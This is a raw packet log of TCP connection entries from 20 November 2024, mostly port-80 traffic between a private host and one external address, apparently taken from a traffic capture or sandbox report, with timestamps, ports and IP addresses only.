Nov 20, 2024 16:50:52.593162060 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.593164921 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.593202114 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.594301939 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.594448090 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.594501972 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.594546080 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.594887972 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.594949007 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.595010042 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.595056057 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.596193075 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.596234083 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.596276999 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.596296072 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.597809076 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.597876072 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.597985029 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.598048925 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.602787971 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.602844000 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.602876902 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.602926016 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.604063988 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.604101896 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.604163885 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.604887962 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.604954004 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.605241060 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.605535984 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.606584072 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.606618881 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.606647968 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.606663942 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.663789034 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.663872004 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.663912058 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.663985968 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.664529085 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.664572001 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.664588928 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.664604902 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.666188955 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.666244030 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.666260958 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.666300058 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.667853117 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.668055058 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.726699114 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.726815939 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.726893902 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.726960897 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.727176905 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.727283955 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.727447033 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.727497101 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.856208086 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:52.856262922 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:52.856400013 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:52.856576920 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:52.856592894 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:52.876207113 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876223087 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876255035 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876266003 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876277924 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876276970 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.876288891 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876300097 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876307011 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.876310110 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876331091 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.876343012 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876348972 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.876353979 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876365900 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876379013 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876383066 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.876405001 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.876410007 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876420975 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876432896 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876442909 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876446962 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.876455069 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876466036 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876478910 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.876492023 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876498938 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.876503944 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876528978 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876538038 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.876538992 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876549959 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876560926 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876565933 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.876571894 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876584053 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876586914 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.876611948 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.876616955 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876626968 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876635075 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.876647949 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876658916 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876667976 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.876683950 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876694918 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876701117 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.876704931 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876713991 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876724958 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876735926 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876739979 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.876753092 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876765013 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876789093 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876791000 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.876801014 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876813889 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876825094 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876827002 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.876838923 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876847982 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.876848936 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876861095 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876864910 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.876882076 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876893997 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876899958 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876909018 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.876920938 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876930952 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876938105 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876948118 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876959085 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.876959085 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876969099 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876987934 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876990080 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.876991034 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.877005100 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877016068 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877017021 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.877026081 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877037048 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877037048 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.877047062 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877055883 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.877058029 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877070904 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877074003 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.877082109 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877096891 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.877108097 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877115011 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.877118111 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877129078 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877140045 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877160072 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.877165079 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877175093 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877181053 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.877185106 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877196074 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877201080 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.877207041 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877218008 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877223015 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.877242088 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877249002 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.877254963 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877264977 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.877265930 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877275944 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877288103 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877290964 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.877300978 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877310991 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877321959 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.877322912 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877334118 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.877355099 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.877363920 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877376080 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877384901 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877403975 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.877433062 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877449989 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877454996 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.877460957 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877474070 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877480030 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.877485991 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877509117 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.877516985 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877525091 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.877528906 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877541065 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877551079 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877551079 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.877562046 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.877566099 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877577066 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.877588987 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.877610922 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.877649069 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.878034115 CET	443	49769	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:52.878053904 CET	443	49769	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:52.878101110 CET	443	49769	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:52.878117085 CET	49769	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:52.878144026 CET	443	49769	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:52.878158092 CET	443	49769	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:52.878175974 CET	49769	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:52.878197908 CET	49769	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:52.878354073 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.878369093 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.878380060 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.878386021 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.878416061 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.878422022 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.878432989 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.878449917 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.878467083 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.878511906 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.888688087 CET	49769	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:52.888716936 CET	443	49769	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:52.888731003 CET	49769	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:52.888737917 CET	443	49769	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:52.917851925 CET	49789	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:52.917891979 CET	443	49789	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:52.917948961 CET	49789	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:52.918070078 CET	49790	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:52.918117046 CET	443	49790	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:52.918209076 CET	49790	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:52.918231964 CET	49789	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:52.918242931 CET	443	49789	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:52.918283939 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.918299913 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.918335915 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.918353081 CET	49790	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:52.918359995 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.918366909 CET	443	49790	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:52.918785095 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.918798923 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.918836117 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.918925047 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.918965101 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.919295073 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.919307947 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.919347048 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.919358969 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.919899940 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.919912100 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.919949055 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.920717955 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.920730114 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.920783997 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.921668053 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.921680927 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.921726942 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.922573090 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.922633886 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.922735929 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.922781944 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.923424006 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.923475981 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.923568010 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.923609018 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.924380064 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.924448967 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.924549103 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.924599886 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.925405979 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.925529957 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.925565958 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.925606012 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.926207066 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.926265955 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.926346064 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.926405907 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.927398920 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.927413940 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.927460909 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.928181887 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.928361893 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.928419113 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.929193974 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.929287910 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.929358959 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.929410934 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.930246115 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.930305004 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.930435896 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.930485010 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.930932999 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.931102991 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.931124926 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.931160927 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.931991100 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.932040930 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.932460070 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.932501078 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.932908058 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.932984114 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.933149099 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.933196068 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.937479019 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.937499046 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.937555075 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.937581062 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.938730001 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.938749075 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.938786030 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.938807011 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.945910931 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.945930004 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.945982933 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.945982933 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.946042061 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.946058989 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.946074009 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.946101904 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.946131945 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.949661016 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.949680090 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.949734926 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.949734926 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.951173067 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.951193094 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.951222897 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.951239109 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.954498053 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.954515934 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.954530954 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.954572916 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.954628944 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.955815077 CET	49791	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:52.955858946 CET	443	49791	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:52.955914021 CET	49791	443	192.168.2.9	20.231.128.67
